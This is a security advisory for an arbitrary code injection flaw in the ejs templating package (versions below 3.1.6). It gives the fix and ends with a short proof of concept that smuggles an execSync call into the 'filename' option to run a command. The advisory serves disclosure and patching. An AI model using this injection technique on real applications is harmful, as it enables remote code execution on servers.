Arbitrary Code Injection Affecting ejs Open this link in a new tab package, versions <3.1.6


0.0
medium
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Privileges Required

    High

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  • snyk-id

    SNYK-JS-EJS-1049328

  • published

    20 Jan 2021

  • disclosed

    9 Dec 2020

  • credit

    fangzequn

Introduced: 9 Dec 2020

CWE-94 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade ejs to version 3.1.6 or higher.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})